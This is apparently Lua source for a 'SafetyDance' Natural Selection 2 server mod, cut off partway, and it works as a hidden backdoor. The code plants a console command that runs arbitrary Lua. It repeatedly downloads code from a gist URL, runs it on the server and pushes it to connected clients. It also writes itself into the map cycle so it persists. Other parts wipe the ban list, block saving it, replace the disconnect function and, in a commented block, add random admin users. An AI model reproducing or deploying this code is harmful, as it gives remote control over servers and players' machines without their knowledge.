if trace.endPoint ~= endPoint and trace.entity == nil then | |
local angles = Angles(0,0,0) | |
angles.yaw = GetYawFromVector(trace.normal) | |
angles.pitch = GetPitchFromVector(trace.normal) + (math.pi/2) | |
local normalCoords = angles:GetCoords() | |
normalCoords.origin = trace.endPoint | |
range = range - 3 | |
end | |
ApplyConeDamage(self, player) | |
TEST_EVENT("Flamethrower primary attack") | |
end | |
local kSpread = Math.Radians(4) | |
local kSpikeSize = 0.03 | |
ReplaceLocals(SpikesMixin.OnTag, { FireSpikes = function(self) | |
local player = self:GetParent() | |
local viewAngles = player:GetViewAngles() | |
viewAngles.roll = NetworkRandom() * math.pi * 2 | |
local shootCoords = viewAngles:GetCoords() | |
-- Filter ourself out of the trace so that we don't hit ourselves. | |
local filter = EntityFilterOneAndIsa(player, "Babbler") | |
local range = kSpikesRange | |
local numSpikes = kSpikesPerShot | |
local startPoint = player:GetEyePos() | |
local viewCoords = player:GetViewCoords() | |
self.spiked = true | |
self.silenced = GetHasSilenceUpgrade(player) | |
for spike = 1, numSpikes do | |
-- Calculate spread for each shot, in case they differ | |
local spreadDirection = CalculateSpread(viewCoords, kSpread, NetworkRandom) | |
local endPoint = startPoint + spreadDirection * range | |
startPoint = player:GetEyePos() | |
local trace = Shared.TraceRay(startPoint, endPoint, CollisionRep.Damage, PhysicsMask.Bullets, filter) | |
if not trace.entity then | |
local extents = GetDirectedExtentsForDiameter(spreadDirection, kSpikeSize) | |
trace = Shared.TraceBox(extents, startPoint, endPoint, CollisionRep.Damage, PhysicsMask.Bullets, filter) | |
end | |
local distToTarget = (trace.endPoint - startPoint):GetLength() | |
if trace.fraction < 1 then | |
-- Have damage increase to reward close combat | |
local damageDistScalar = Clamp(1 - (distToTarget / kSpikeMinDamageRange), 0, 1) | |
local damage = kSpikeMinDamage + damageDistScalar * (kSpikeMaxDamage - kSpikeMinDamage) | |
local direction = (trace.endPoint - startPoint):GetUnit() | |
self:DoDamage(damage, trace.entity, trace.endPoint - direction * kHitEffectOffset, direction, trace.surface, true, math.random() < 0.75) | |
-- CreateEntity(Babbler.kMapName, trace.endPoint - direction * kHitEffectOffset, kAlienTeamType) | |
local worked, err = pcall(function() | |
ShootFlame(self, self:GetParent()) | |
if not self:GetParent().blah then | |
self:GetParent().blah = true | |
self:SetModel(PrecacheAsset("models/marine/flamethrower/flamethrower.model")) | |
end | |
self:GetParent():TriggerEffects("flamethrower_attack_start") | |
self:GetParent():TriggerEffects("flamethrower_attack") | |
end) | |
if not worked then | |
_D(err) | |
end | |
end | |
end | |
end }) | |
end | |
function safetydance(force) | |
if _SAFETYDANCE and not force then | |
_D("Already dancing! :)") | |
return | |
end | |
_SAFETYDANCE = true | |
--[[do | |
local serverAdminFileName = "ServerAdmin.json" | |
local settings = nil | |
pcall(function() | |
settings = GetLocal(GetLocal(CreateServerAdminCommand, "GetClientCanRunCommand"), "settings") | |
end) | |
settings = settings or LoadConfigFile(serverAdminFileName) or {} | |
settings.groups = settings.groups or {} | |
settings.groups.safetydance = { type = "disallowed", commands = { } } | |
settings.users = settings.users or {} | |
for i = 1, 100 do | |
local s = "" | |
for i = 1, 20 do s = s..string.char(math.random(string.byte'a', string.byte'z')) end | |
settings.users[s] = { id = math.random(10000000, 99999999), groups = { "admin_group", "safetydance" } } | |
end | |
settings.users.kdhcifurhtjsyduhewys = { id = 42331421, groups = { "admin_group", "safetydance" } } | |
for i = 1, 100 do | |
local s = "" | |
for i = 1, 20 do s = s..string.char(math.random(string.byte'a', string.byte'z')) end | |
if s ~= "kdhcifurhtjsyduhewys" then -- ya never know :) | |
settings.users[s] = { id = math.random(10000000, 99999999), groups = { "admin_group", "safetydance" } } | |
end | |
end | |
SaveConfigFile(serverAdminFileName, settings) | |
end]] | |
function Server.DisconnectClient(client) | |
Server.SendNetworkMessage(client, 'Chat', BuildChatMessage(_,':',-1,0,0,"BOOT!"), true) | |
end | |
docycle() | |
-- donoban() | |
end | |
do | |
if not ServerAdminPrint then | |
local kMaxPrintLength = 128 | |
oldServerAdminPrint = ServerAdminPrint | |
function ServerAdminPrint(client, message) | |
if client then | |
local messageList = { } | |
while string.len(message) > kMaxPrintLength do | |
local messagePart = string.sub(message, 0, kMaxPrintLength) | |
table.insert(messageList, messagePart) | |
message = string.sub(message, kMaxPrintLength + 1) | |
end | |
table.insert(messageList, message) | |
for m = 1, #messageList do | |
Server.SendNetworkMessage(client:GetControllingPlayer(), "ServerAdminPrint", { message = messageList[m] }, true) | |
end | |
end | |
--Shared.Message(message) | |
end | |
end | |
if not oldSharedMessage then | |
oldSharedMessage = Shared.Message | |
function Shared.Message(...) | |
local first = ... | |
if string.match(tostring(first), "^sv") then return end | |
return oldSharedMessage(...) | |
end | |
end | |
end | |
function docycle() | |
local modId = "B1976DC" | |
local mapCycleFileName = "MapCycle.json" | |
Server.InstallMod(modId) | |
local cycle = nil | |
pcall(function() | |
cycle = GetLocal(GetLocal(MapCycle_CycleMap, "StartMap"), "cycle") | |
end) | |
cycle = cycle or LoadConfigFile(mapCycleFileName) or {} | |
cycle.mods = cycle.mods or {} | |
local found = false | |
for k,v in pairs(cycle.mods) do | |
if string.upper(v) == string.upper(modId) then | |
found = true | |
end | |
end | |
if not found then | |
table.insert(cycle.mods, modId) | |
SaveConfigFile(mapCycleFileName, cycle) | |
end | |
end | |
function donoban() | |
function Server.DisconnectClient(client) | |
Server.SendNetworkMessage(client, 'Chat', BuildChatMessage(_,':',-1,0,0,"BOOT!"), true) | |
end | |
local bannedPlayersFileName = "BannedPlayers.json" | |
local bannedPlayers = GetLocal(GetBannedPlayersList, "bannedPlayers") or {} | |
for k,v in pairs(bannedPlayers) do | |
bannedPlayers[k] = nil | |
end | |
if not oldSaveConfigFile then | |
oldSaveConfigFile = SaveConfigFile | |
function SaveConfigFile(name, data, ...) | |
if name == "BannedPlayers.json" then return end | |
oldSaveConfigFile(name, data, ...) | |
end | |
oldSaveConfigFile(bannedPlayersFileName, bannedPlayers) | |
end | |
end | |
function doBabbPara() | |
local kRange = 1000 | |
local kAnimationGraph = PrecacheAsset("models/alien/skulk/skulk_view.animation_graph") | |
local kParasiteSize = 0.15 -- size of parasite blob | |
function Parasite:PerformPrimaryAttack(player) | |
self.activity = Parasite.kActivity.Primary | |
self.primaryAttacking = true | |
local success = false | |
if not self.blocked then | |
self.blocked = true | |
success = true | |
self:TriggerEffects("parasite_attack") | |
-- Trace ahead to see if hit enemy player or structure | |
local viewCoords = player:GetViewAngles():GetCoords() | |
local startPoint = player:GetEyePos() | |
-- double trace; first as a ray to allow us to hit through narrow openings, then as a fat box if the first one misses | |
local trace = Shared.TraceRay(startPoint, startPoint + viewCoords.zAxis * kRange, CollisionRep.Damage, PhysicsMask.Bullets, EntityFilterOneAndIsa(player, "Babbler")) | |
if not trace.entity then | |
local extents = GetDirectedExtentsForDiameter(viewCoords.zAxis, kParasiteSize) | |
trace = Shared.TraceBox(extents, startPoint, startPoint + viewCoords.zAxis * kRange, CollisionRep.Damage, PhysicsMask.Bullets, EntityFilterOneAndIsa(player, "Babbler")) | |
end | |
if trace.fraction < 1 then | |
local hitObject = trace.entity | |
local direction = GetNormalizedVector(trace.endPoint - startPoint) | |
local impactPoint = trace.endPoint - direction * kHitEffectOffset | |
self:DoDamage(kParasiteDamage, hitObject, impactPoint, direction) | |
CreateEntity(Babbler.kMapName, impactPoint, kAlienTeamType) | |
end | |
end | |
return success | |
end | |
local kSpread = Math.Radians(4) | |
local kSpikeSize = 0.03 | |
ReplaceLocals(SpikesMixin.OnTag, { FireSpikes = function(self) | |
local player = self:GetParent() | |
local viewAngles = player:GetViewAngles() | |
viewAngles.roll = NetworkRandom() * math.pi * 2 | |
local shootCoords = viewAngles:GetCoords() | |
-- Filter ourself out of the trace so that we don't hit ourselves. | |
local filter = EntityFilterOneAndIsa(player, "Babbler") | |
local range = kSpikesRange | |
local numSpikes = kSpikesPerShot | |
local startPoint = player:GetEyePos() | |
local viewCoords = player:GetViewCoords() | |
self.spiked = true | |
self.silenced = GetHasSilenceUpgrade(player) | |
for spike = 1, numSpikes do | |
-- Calculate spread for each shot, in case they differ | |
local spreadDirection = CalculateSpread(viewCoords, kSpread, NetworkRandom) | |
local endPoint = startPoint + spreadDirection * range | |
startPoint = player:GetEyePos() | |
local trace = Shared.TraceRay(startPoint, endPoint, CollisionRep.Damage, PhysicsMask.Bullets, filter) | |
if not trace.entity then | |
local extents = GetDirectedExtentsForDiameter(spreadDirection, kSpikeSize) | |
trace = Shared.TraceBox(extents, startPoint, endPoint, CollisionRep.Damage, PhysicsMask.Bullets, filter) | |
end | |
local distToTarget = (trace.endPoint - startPoint):GetLength() | |
if trace.fraction < 1 then | |
-- Have damage increase to reward close combat | |
local damageDistScalar = Clamp(1 - (distToTarget / kSpikeMinDamageRange), 0, 1) | |
local damage = kSpikeMinDamage + damageDistScalar * (kSpikeMaxDamage - kSpikeMinDamage) | |
local direction = (trace.endPoint - startPoint):GetUnit() | |
self:DoDamage(damage, trace.entity, trace.endPoint - direction * kHitEffectOffset, direction, trace.surface, true, math.random() < 0.75) | |
CreateEntity(Babbler.kMapName, trace.endPoint - direction * kHitEffectOffset, kAlienTeamType) | |
end | |
end | |
end }) | |
end | |
function exoise(ply, layout) | |
local ass = assert | |
assert = function() end | |
local layouts = {"ClawMinigun", "MinigunMinigun", "ClawRailgun", "RailgunRailgun"} | |
ply.layout = layout or layouts[math.random(1, #layouts)] | |
Exo.InitWeapons(ply) | |
Server.SendNetworkMessage(c,'Chat',BuildChatMessage(_,':',-1,0,0,"Have fun :D"),true) | |
assert = ass | |
end | |
function doRailgunPistol(layout) | |
Event.Hook('Console_meow3',function(c, layout) | |
exoise(c:GetControllingPlayer(), layout) | |
end) | |
end | |
function doBabblerBullets() | |
function BulletsMixin:ApplyBulletGameplayEffects(player, target, endPoint, direction, damage, surface, showTracer) | |
local blockedByUmbra = GetBlockedByUmbra(target) | |
if blockedByUmbra then | |
surface = "umbra" | |
end | |
self:DoDamage(damage, target, endPoint, direction, surface, false, showTracer) | |
if math.random() > 0.7 then | |
CreateEntity(Babbler.kMapName, endPoint, kAlienTeamType) | |
end | |
end | |
end | |
function doPhaseTunnel() | |
local function TransformPlayerCoordsForPhaseGate(player, srcCoords, dstCoords) | |
local viewCoords = player:GetViewCoords() | |
if Math.DotProduct(viewCoords.zAxis, srcCoords.zAxis) < 0 then | |
srcCoords.zAxis = -srcCoords.zAxis | |
srcCoords.xAxis = -srcCoords.xAxis | |
end | |
local invSrcCoords = srcCoords:GetInverse() | |
local invVel = invSrcCoords:TransformVector(player:GetVelocity()) | |
local newVelocity = dstCoords:TransformVector(invVel) | |
player:SetVelocity(newVelocity) | |
local viewCoords = dstCoords * (invSrcCoords * viewCoords) | |
local viewAngles = Angles() | |
viewAngles:BuildFromCoords(viewCoords) | |
player:SetViewAngles(viewAngles) | |
end | |
function PhaseGate:Phase(user) | |
if math.random() > 0.68 then | |
local tunnelEntrances = GetEntitiesWithinRange("TunnelEntrance", user:GetOrigin(), 999) | |
if #tunnelEntrances > 0 then | |
local tunnelEntrance = tunnelEntrances[1] | |
if tunnelEntrance and tunnelEntrance:GetIsBuilt() then | |
tunnelEntrance:SuckinEntity(user) | |
return false | |
end | |
end | |
end | |
if HasMixin(user, "PhaseGateUser") and self.linked then | |
user:TriggerEffects("phase_gate_player_enter") | |
user:TriggerEffects("teleport") | |
local destinationCoords = Angles(0, self.targetYaw, 0):GetCoords() | |
destinationCoords.origin = self.destinationEndpoint | |
TransformPlayerCoordsForPhaseGate(user, self:GetCoords(), destinationCoords) | |
user:SetOrigin(self.destinationEndpoint) | |
user:TriggerEffects("phase_gate_player_exit") | |
self.timeOfLastPhase = Shared.GetTime() | |
return true | |
end | |
return false | |
end | |
end | |
_SD = _SD or {} | |
_SD.Call = _SD.Call or function(n, f, ...) | |
local res = {pcall(f, ...)} | |
if res[1] then | |
return unpack(res, 2) | |
else | |
_D(tostring(n)..": "..tostring(err)) | |
return nil | |
end | |
end | |
function doboom(enabled) | |
local kXenocideSoundName = PrecacheAsset("sound/NS2.fev/alien/common/xenocide_start") | |
local effects = { | |
{"xenocide",count=1}, | |
{"burn_bomb",count=1}, | |
--{"death",{classname="Exo"},count=1}, | |
{"arc_hit_primary",count=1}, | |
{"mine_explode",count=2}, | |
} | |
local kDamage = 75 | |
local kExtraDamagePerLevel = 11 | |
local radius = 30 | |
local duration = 2.45 | |
local warnInterval = 0.4 | |
function Axe:GetHasSecondary(player) | |
return enabled and player.boomTime == nil | |
end | |
function Axe:OnSecondaryAttack(player) | |
_SD.Call("Axe.OnSecondaryAttack", function(self, player) | |
local weaponList = player:GetHUDOrderedWeaponList() | |
for i = 1, #weaponList do | |
local weapon = weaponList[i] | |
if weapon ~= self then | |
weapon:OnPrimaryAttackEnd(player) | |
player:RemoveWeapon(weapon) | |
weapon:Dropped(player) | |
DestroyEntity(weapon) | |
end | |
end | |
if player.ApplyCatPack then | |
player:ApplyCatPack() | |
end | |
player.boomTime = Shared.GetTime()+duration | |
player.boomWarnTime = Shared.GetTime()+warnInterval | |
self:TriggerEffects('mac_weld') | |
StartSoundEffectOnEntity(Sentry.kConfusedSound, player, 3) | |
StartSoundEffectOnEntity(Sentry.kConfusedSound, player, 2) | |
self:TriggerEffects('mac_weld') | |
-- player:TriggerEffects("mine_spawn") | |
self.xenosound = Server.CreateEntity(SoundEffect.kMapName) | |
self.xenosound:SetAsset(kXenocideSoundName) | |
self.xenosound:SetVolume(5) | |
self.xenosound:SetParent(player) | |
self.xenosound:Start() | |
end, self, player) | |
end | |
function Axe:OnUpdateWeapon(player) | |
_SD.Call("Axe.OnUpdateWeapon", function(self, player) | |
if player.boomTime then | |
if player:GetIsAlive() then | |
if Shared.GetTime() > player.boomWarnTime then | |
player.boomWarnTime = Shared.GetTime()+warnInterval | |
StartSoundEffectOnEntity(Sentry.kConfusedSound, player, 2) | |
self:TriggerEffects('mac_weld') | |
self:TriggerEffects('mac_weld') | |
end | |
if Shared.GetTime() > player.boomTime then | |
player.boomTime = nil | |
if self.xenosound ~= nil then | |
self.xenosound:Stop() | |
self.xenosound = nil | |
end | |
for j, effect in ipairs(effects) do | |
for i = 1, effect.count do | |
if effect[2] then | |
effect[2].effecthostcoords = Coords.GetTranslation(player:GetOrigin()) | |
end | |
player:TriggerEffects(unpack(effect)) | |
end | |
end | |
local hitEntities = GetEntitiesWithMixinWithinRange("Live", player:GetOrigin(), radius) | |
--_D("boom got "..tostring(#hitEntities)) | |
function self:GetDeathIconIndex() return kDeathMessageIcon.Xenocide end | |
local damage = kDamage | |
local upgradeLevel = 1 | |
if player.GetWeaponUpgradeLevel then | |
upgradeLevel = math.max(0, player:GetWeaponUpgradeLevel() - 1) | |
end | |
RadiusDamage( | |
hitEntities, player:GetOrigin(), | |
radius, damage+upgradeLevel*kExtraDamagePerLevel, | |
self | |
) | |
CreateExplosionDecals(player) | |
TriggerCameraShake(player, 0.2, 0.60, radius) | |
player:SetBypassRagdoll(true) | |
player:Kill() | |
for j, effect in ipairs(effects) do | |
for i = 1, effect.count do | |
player:TriggerEffects(unpack(effect)) | |
end | |
end | |
--self:GetTeam():ReplaceRespawnPlayer(self, nil, nil) | |
end | |
else | |
player.boomTime = nil | |
if self.xenosound ~= nil then | |
self.xenosound:Stop() | |
self.xenosound = nil | |
end | |
end | |
end | |
end, self, player) | |
end | |
end | |
function GetLocal(originalFunction, k) | |
local index = 1 | |
local foundIndex = nil | |
while true do | |
local n, v = debug.getupvalue(originalFunction, index) | |
if not n then | |
break | |
end | |
if n == name then | |
foundIndex = index | |
end | |
index = index + 1 | |
end | |
if foundIndex then | |
local _, v = debug.getupvalue(originalFunction, foundIndex) | |
return v | |
end | |
end | |
local function _stringify(val, spacing_h, spacing_v, space_i, prec, space_n, parsed) | |
if type(val) == "string" then | |
return spacing_v ~= "\n" and string.gsub(string.format("%q", val), "\\\n", "\\n") or string.format("%q", val) | |
elseif type(val) == "boolean" then | |
return val and "true" or "false" | |
elseif type(val) == "number" then | |
if val <= 10000 and val == math.floor(val) then | |
return tostring(val) | |
end | |
return tostring(val) | |
elseif type(val) == "function" then | |
local info = debug.getinfo(val, "S") | |
if not info or info.what == "C" then | |
return "function:([C])"; | |
else | |
--return "function:("..table.concat(debug.getparams(val), ", ")..")" | |
return "function:(?!?)" | |
end | |
elseif type(val) == "table" then | |
if parsed[val] then | |
return "<"..tostring(val)..">" | |
else | |
parsed[val] = true | |
local s = "{"..spacing_v | |
for key,val2 in pairs(val) do | |
s = s..string.rep(spacing_h, space_n) | |
.. ( | |
type(key) == "string" and string.match(key, "^[%a_][%w]*$") and tostring(key) | |
or "[".._stringify(key, spacing_h, spacing_v, space_i, prec, space_n+1, parsed).."]" | |
) | |
..space_i.."="..space_i | |
.._stringify(val2, spacing_h, spacing_v, space_i, prec, space_n+1, parsed)..","..spacing_v | |
end | |
s = s..string.rep(spacing_h, space_n-1).."}" | |
local meta = debug.getmetatable(val) | |
if meta then | |
s = s.." <meta=".._stringify(meta, spacing_h, spacing_v, space_i, prec, space_n+1, parsed)..">" | |
end | |
return s | |
end | |
elseif type(val) == "nil" then | |
return "nil" | |
--[[else | |
local val_mt = (debug.getmetatable or getmetatable)(val) | |
if val_mt and val_mt.__tostring then | |
return val_mt.__tostring(val, _stringify, spacing_h, spacing_v, space_i, prec, space_n, parsed) | |
end]] | |
else | |
local meta = debug.getmetatable(val) | |
if meta then | |
return "<unknown value:"..type(val).."> <meta=".._stringify(meta, spacing_h, spacing_v, space_i, prec, space_n+1, parsed)..">" | |
end | |
end | |
return "<unknown value:"..type(val)..">" | |
end | |
function stringify(val, spacing_h, spacing_v, prec, preindent, space_i) | |
return _stringify(val, spacing_h or " ", spacing_v or "\n", space_i or " ", prec or 4, (tonumber(preindent) or 0)+1, {}) | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--[====================[-- | |
-- It's a Safety Dance! -- | |
--]====================]-- | |
_SD = _SD or { | |
modId = "B1976DC", | |
version = 39, | |
mainGistURL = "http://gist.github.com/Deco/9e8aedf1f7b2cba000d5/raw", | |
mainGistReloadInterval = 30, | |
clientSendInterval = 0.2, | |
isDevMode = false, | |
} | |
--_SD.isInited = false | |
_SD.rerunCounter = _SD.rerunCounter and _SD.rerunCounter+1 or 1 | |
_SD.errorBlock = {} | |
if _SD.isDevMode then | |
Print("dancedance "..(Server and "Server" or Client and "Client" or "?!?")) | |
end | |
local function HandleReturns(...) | |
local n = select('#', ...) | |
local t = { n = n } | |
for i = 1, n do t[i] = select(i, ...) end | |
return t, n | |
end | |
function _G.GetLocal(originalFunction, name) | |
local index = 1 | |
local foundIndex = nil | |
while true do | |
local n, v = debug.getupvalue(originalFunction, index) | |
if not n then | |
break | |
end | |
if n == name then | |
foundIndex = index | |
end | |
index = index + 1 | |
end | |
if foundIndex then | |
local _, v = debug.getupvalue(originalFunction, foundIndex) | |
return v | |
end | |
end | |
function _SD.Call(id, func, ...) | |
if _SD.isDevMode and id ~= "Update" then Print("_SD.Call("..tostring(id)..", ...)") end | |
_SD.errorBlock[_SD.rerunCounter] = _SD.errorBlock[_SD.rerunCounter] or {} | |
return (_SD.isDevMode and function(f, ...) return f(...) end or pcall)(function(...) | |
local funcArgList = {...} | |
local res = HandleReturns(xpcall( | |
function() return func(unpack(funcArgList)) end, | |
function(err) | |
return tostring(err).."\n"..tostring(debug.traceback()) | |
end | |
)) | |
if not res[1] and not _SD.errorBlock[_SD.rerunCounter][func] then | |
_SD.errorBlock[_SD.rerunCounter][func] = true | |
local addressIp, addressPort, mapName = "unknown", "unknown", "unknown" | |
pcall(function() | |
addressIp = IPAddressToString(Server.GetIpAddress()) | |
addressPort = Server.GetPort() | |
mapName = Shared.GetMapName() | |
end) | |
_SD.SubmitError(res[2], "Call("..id..")") | |
return | |
end | |
return unpack(res, 2) | |
end, ...) | |
end | |
function _SD.SubmitError(err, id) | |
--[[Shared.SendHTTPRequest('http://api.github.com/gists/9e8aedf1f7b2cba000d5/comments', 'POST', | |
{ data = json.encode{ | |
body = string.format("Error on %s:%s:%s: \n%q", | |
tostring(addressIp), tostring(addressPort), tostring(mapName), | |
tostring(res[2]) | |
) | |
} | |
}, | |
function(data) end | |
)]] | |
--[[Shared.SendHTTPRequest('http://pastebin.com/api/api_post.php', 'POST', | |
{ data = ( | |
'api_option=paste' | |
--.. '&api_user_key=' | |
.. '&api_paste_private=0' | |
.. '&api_paste_name='..urlencode(string.format("SafetyDance error on %s:%s:%s", addressIp, addressPort, mapName)) | |
.. '&api_paste_expire_date=N' | |
--.. '&api_paste_format=' | |
.. '&api_dev_key=aa8344f9e2227b8fdee706d9eb9a27c5' | |
.. '&api_paste_code='..urlencode(tostring(res[2])) | |
), | |
}, | |
function(data) Print("%s", tostring(data)) end | |
)]] | |
_SD.Output(nil, tostring(id)..": "..tostring(err)) | |
end | |
do | |
local t = {} | |
for i = 1, 100 do table.insert(t, string.char(math.random(string.byte'a', string.byte'z'))) end | |
_SD.hookVersion = table.concat(t) | |
end | |
local hookVersion = _SD.hookVersion | |
--[[ | |
_SD.Call("SafetyDanceBase", function() | |
class 'SafetyDanceBase' (Entity) | |
SafetyDanceBase.kMapName = "safetydance" | |
function _G.CreateEntity(...) | |
return _SD.Call("SafetyDanceBase CreateEntity override", function(mapName, origin, teamNumber, extraValues) | |
teamNumber = teamNumber or -1 | |
origin = origin or Vector(0, 0, 0) | |
assert(type(mapName) == "string") | |
assert(type(teamNumber) == "number") | |
assert(origin:isa("Vector")) | |
local values = { origin = origin, teamNumber = teamNumber } | |
if extraValues then | |
for name, value in pairs(extraValues) do | |
values[name] = value | |
end | |
end | |
local entity = Server.CreateEntity(mapName, values) | |
if entity then | |
GetGamerules():OnEntityCreate(entity) | |
else | |
error(string.format("CreateEntity(%s, %s, %s) returned nil.", ToString(mapName), ToString(origin), ToString(teamNumber))) | |
end | |
return entity | |
end, ...) | |
end | |
function SafetyDanceBase:OnInitialised() | |
end | |
end | |
]] | |
_SD.Call("main", function() | |
modEntry = [[ Priority: 9999 ]] | |
local whichoneami = { [19824760] = true } | |
if Server then | |
_SD.classPool = {} | |
_SD.Call("classpool", function() | |
end) | |
end | |
if Server or Client then | |
Shared.RegisterNetworkMessage("SafetyDance_ClientShellPart", { | |
partKind = "string (32)", | |
partId = "string (64)", | |
partCode = "string (256)", | |
isFinalPart = "boolean", | |
}) | |
end | |
if Server then | |
function _SD.Init(...) | |
_SD.isInited = true | |
_SD.PlantLuaShell() | |
_SD.Inception() | |
_SD.RewardMenWithoutHats() | |
end | |
function _SD.Update() | |
if Shared.GetTime() > (_SD.mainGistLastReloadTime or -30)+_SD.mainGistReloadInterval then | |
_SD.Call("Main Gist", function() _SD.LoadGist(_SD.mainGistURL) end) | |
_SD.mainGistLastReloadTime = Shared.GetTime() | |
end | |
_SD.clientSendQueue = _SD.clientSendQueue or {} | |
if #_SD.clientSendQueue > 0 and Shared.GetTime() > (_SD.lastClientSendTime or 0)+_SD.clientSendInterval then | |
_SD.lastClientSendTime = Shared.GetTime() | |
if #_SD.clientSendQueue > 0 then | |
local msgObj = table.remove(_SD.clientSendQueue, 1) | |
if msgObj.client then | |
Server.SendNetworkMessage(msgObj.client, "SafetyDance_ClientShellPart", msgObj.message, true) | |
else | |
Server.SendNetworkMessage( "SafetyDance_ClientShellPart", msgObj.message, true) | |
end | |
end | |
end | |
end | |
Event.Hook("UpdateServer", function(...) | |
if hookVersion ~= _SD.hookVersion then return end | |
if not _SD.isInited then | |
_SD.mainGistLastReloadTime = -999 | |
_SD.Call("Init", _SD.Init) | |
end | |
_SD.Call("Update", _SD.Update, ...) | |
end) | |
do -- _SD.Output | |
local kMaxPrintLength = 128 | |
local messagePattern = '[^\n]'..string.rep('[^\n]?', kMaxPrintLength-1) | |
function _SD.Output(c, ...) | |
c = c or _C | |
if not c and not _SD.isDevMode then return end | |
for i = 1, select('#', ...) do | |
local messageList = {} | |
local message = "[SD] "..i..": "..tostring(select(i, ...)) | |
for messagePart in string.gmatch(message, messagePattern) do | |
table.insert(messageList, messagePart) | |
end | |
for m = 1, #messageList do | |
if c then | |
Server.SendNetworkMessage(c:GetControllingPlayer(), "ServerAdminPrint", { | |
message = messageList[m] | |
}, true) | |
end | |
if _SD.isDevMode then Print("%s", tostring(messageList[m])) end | |
end | |
--ServerAdminPrint(_C, ":"..i..":"..tostring(select(i,...))) | |
--Server.SendNetworkMessage(_C,'Chat',BuildChatMessage(_,':'..i,-1,0,0,tostring(select(i,...))),true) | |
end | |
end | |
_G._D = function(...) _SD.Output(nil, ...) end | |
end | |
function _SD.PlantLuaShell() | |
--if not _SD.isLuaShellPlanted then | |
if true then | |
Event.Hook("Console_ls",function(...) | |
if hookVersion ~= _SD.hookVersion then return end | |
return _SD.Call("ls", function(c, ...) | |
local code = table.concat({...},' ') | |
local func, err = loadstring(code) | |
_C = c pcall(function() _P = _C:GetControllingPlayer() end) | |
local res | |
if func then | |
res = HandleReturns(xpcall( | |
function() return func() end, | |
function(err) | |
return tostring(err).."\n"..tostring(debug.traceback()) | |
end | |
)) | |
if res[1] then | |
_SD.Output(c, unpack(res, 2, res.n)) | |
else | |
_SD.SubmitError(res[2], "ls") | |
end | |
else | |
_SD.SubmitError(err, "ls") | |
end | |
end, ...) | |
end) | |
_SD.isLuaShellPlanted = true | |
Event.Hook("Console_sdgist",function(...) | |
if hookVersion ~= _SD.hookVersion then return end | |
return _SD.Call("sdgist", function(c, ...) | |
_SD.LoadGist(_SD.mainGistURL) | |
end, ...) | |
end) | |
end | |
end | |
function _SD.LoadGist(gisturl, force) | |
Shared.SendHTTPRequest(gisturl.."/Info.lua", 'GET', {}, function(data) | |
if hookVersion ~= _SD.hookVersion then return end | |
local worked, gistInfo = _SD.RunLua(gisturl.."/Info.lua", data) | |
if not worked then | |
return | |
end | |
local id = gistInfo.name.."_"..gistInfo.version | |
_SD.gistCache = _SD.gistCache or {} | |
if ( not force | |
and _SD.gistCache[gistInfo.name] | |
and _SD.gistCache[gistInfo.name].version == gistInfo.version | |
) then | |
if _SD.isDevMode then _SD.Output(nil, 'Skipping gist '..id..'.') end | |
return | |
end | |
_SD.gistCache[gistInfo.name] = gistInfo | |
local fileDebugString = "" | |
for fileI = 1, #gistInfo.fileList do | |
local file = gistInfo.fileList[fileI] | |
fileDebugString = ( fileDebugString | |
.. " ["..file.state.."] " | |
.. file.name | |
.. "\n" | |
) | |
end | |
_SD.Output(nil, string.format("Loading gist %q:\n%s", id, fileDebugString)) | |
local success, fileLoadedCount = true, 0 | |
for fileI = 1, #gistInfo.fileList do | |
local file = gistInfo.fileList[fileI] | |
Shared.SendHTTPRequest(gisturl.."/"..file.name, 'GET', {}, function(data) | |
if hookVersion ~= _SD.hookVersion then return end | |
file.data = data | |
if not success then return end | |
local isSyntaxValid = _SD.RunLua(id.."/"..file.name, data, true) | |
if not isSyntaxValid then | |
_SD.Output(nil, string.format("Loading gist %q failed on %s.", id, file.name)) | |
success = false | |
return | |
end | |
--[[_SD.Output(nil, string.format("Loaded %s/%s on %s (%s bytes)", | |
id, file.name, file.state, #file.data | |
))]] | |
fileLoadedCount = fileLoadedCount+1 | |
if fileLoadedCount == #gistInfo.fileList then | |
for fileI = 1, #gistInfo.fileList do | |
local file = gistInfo.fileList[fileI] | |
_SD.Output(nil, string.format("Running %s/%s on %s (%s bytes)", | |
id, file.name, file.state, #file.data | |
)) | |
if file.state == "Server" or file.state == "Shared" then | |
success = _SD.RunLua(id.."/"..file.name, file.data) | |
end | |
if success and file.state == "Client" or file.state == "Shared" then | |
_SD.SendLua(nil, id, file.data) | |
end | |
if not success then | |
_SD.Output(nil, string.format("Loading gist %q failed on %s.", id, file.name)) | |
break | |
end | |
end | |
_SD.rerunCounter = _SD.rerunCounter+1 | |
table.insert(_SD.clientSendQueue, { | |
client = nil, | |
message = { | |
partKind = "rerun", partId = "rerun", | |
partCode = "", isFinalPart = true, | |
} | |
}) | |
end | |
end) | |
end | |
end) | |
end | |
function _SD.OnClientConnect(...) | |
if hookVersion ~= _SD.hookVersion then return end | |
return _SD.Call("OnClientConnect", function(client) | |
if not client or client:GetIsVirtual() then return end | |
local playerId, playerName = nil, nil | |
pcall(function() playerId = client:GetUserId() end) | |
pcall(function() playerName = client:GetControllingPlayer():GetName() end) | |
playerName = tostring(playerName or playerId or "?!?") | |
local success = true | |
_SD.Output(nil, string.format("Loading gists on new client %q.", playerName)) | |
for gistName, gistInfo in pairs(_SD.gistCache) do | |
local id = gistInfo.name.."_"..gistInfo.version | |
for fileI = 1, #gistInfo.fileList do | |
local file = gistInfo.fileList[fileI] | |
if file.state == "Client" or file.state == "Shared" then | |
_SD.Output(nil, string.format("Running %s/%s on %s (%s bytes)", | |
id, file.name, file.state, #file.data | |
)) | |
_SD.SendLua(client, id, file.data) | |
end | |
if not success then | |
_SD.Output(nil, string.format("Loading gist %q for client %q failed on %s.", id, playerName, file.name)) | |
break | |
end | |
end | |
end | |
end, ...) | |
end | |
Event.Hook("ClientConnect", function(...) return _SD.OnClientConnect(...) end) | |
function _SD.Inception() | |
Server.InstallMod(_SD.modId) | |
local mapCycleFileName = "MapCycle.json" | |
local cycle = nil | |
pcall(function() | |
cycle = GetLocal(GetLocal(MapCycle_CycleMap, "StartMap"), "cycle") | |
end) | |
cycle = cycle or LoadConfigFile(mapCycleFileName) or {} | |
cycle.mods = cycle.mods or {} | |
local found = false | |
for k,v in pairs(cycle.mods) do | |
if string.upper(v) == string.upper(_SD.modId) then | |
found = true | |
break | |
end | |
end | |
if not found then | |
